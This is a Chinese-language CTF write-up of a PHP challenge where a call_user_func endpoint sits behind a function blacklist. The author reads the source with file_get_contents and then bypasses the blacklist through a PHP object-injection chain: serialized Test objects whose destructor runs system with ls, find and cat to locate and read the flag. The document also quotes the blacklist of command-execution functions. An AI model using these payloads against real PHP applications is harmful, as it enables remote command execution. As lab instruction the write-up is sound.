流程
打开靶场,可以看到以下内容,并且这个页面隔几秒就要刷新一次

查看页面源代码,没有发现什么隐藏信息
我们用bp抓包看看

我们可以知道这个页面是由post方式传递核心参数,并且我们发现一个重要内容
func=date&p=Y-m-d h:i:s a
而这个就是他为什么隔几秒就要刷新的原因,也是我们唯一的可见功能
func=date :告诉后端调用 PHP 内置的 date() 函数
p=Y-m-d h:i:s a :传给 date() 函数的参数,定义了时间的输出格式
func:传递要执行的 PHP 函数名
p:传递给该函数的参数
后端核心逻辑:通过call_user_func($func, $p)执行用户传入的函数,这是漏洞的核心入口。
我们将包发到Repeater进一步测试
我们直接尝试func=system&p=ls

可以看到被拦截了,说明后端存在过滤我们要找一个未被禁用的、且能读取文件内容的函数
我们尝试file_get_contents读取 index.php 源码
func=file_get_contents&p=index.php
得到源码
php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
要点:
严格的黑名单过滤 :主逻辑中,用户传入的func会被转为小写,再匹配禁用函数列表,几乎所有直接的命令执行、代码执行、回调函数都被封禁,包括system、call_user_func本
危险的回调执行 :gettime函数中直接使用call_user_func($func, $p)执行函数,无任何过滤
反序列化利用入口 :Test类的__destruct()析构函数,会在对象销毁时自动调用gettime($this->func, $this->p),且这里的 func 参数不会经过主逻辑的黑名单过滤,这是本题的核心突破点
未被禁用的关键函数 :unserialize反序列化函数不在黑名单中,可作为触发析构函数的入口
反序列化漏洞利用
漏洞原理
当我们传入func=unserialize&p=Test类的序列化字符串时,后端会执行unserialize($p),生成一个 Test 类的对象。当该对象执行完毕被销毁时,会自动触发__destruct()析构函数,执行我们在对象中预设的$this->func和$this->p,且该过程不会经过主逻辑的黑名单检测,从而执行被封禁的system等命令执行函数。
步骤 1:构造序列化 Payload
我们需要构造一个 Test 类的实例,给func赋值为system,p赋值为要执行的系统命令,然后生成序列化字符串。PHP 序列化生成代码:
php
<?php
class Test {
public $func = "system";
public $p = "ls /";
}
echo serialize(new Test());
?>
结果:
php
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:4:"ls /";}
步骤 2:执行命令,查找 flag 路径
将序列化结果作为 p 参数的值,func 参数设为 unserialize,构造 POST 请求:
php
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

可发现 flag 位于/tmp/flagoefiu4r93
步骤 3:读取 flag
修改命令为 cat 读取 flag 文件,最终 Payload:
php
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
执行后,Repeater会直接返回 flag 内容。

由此的到最终flag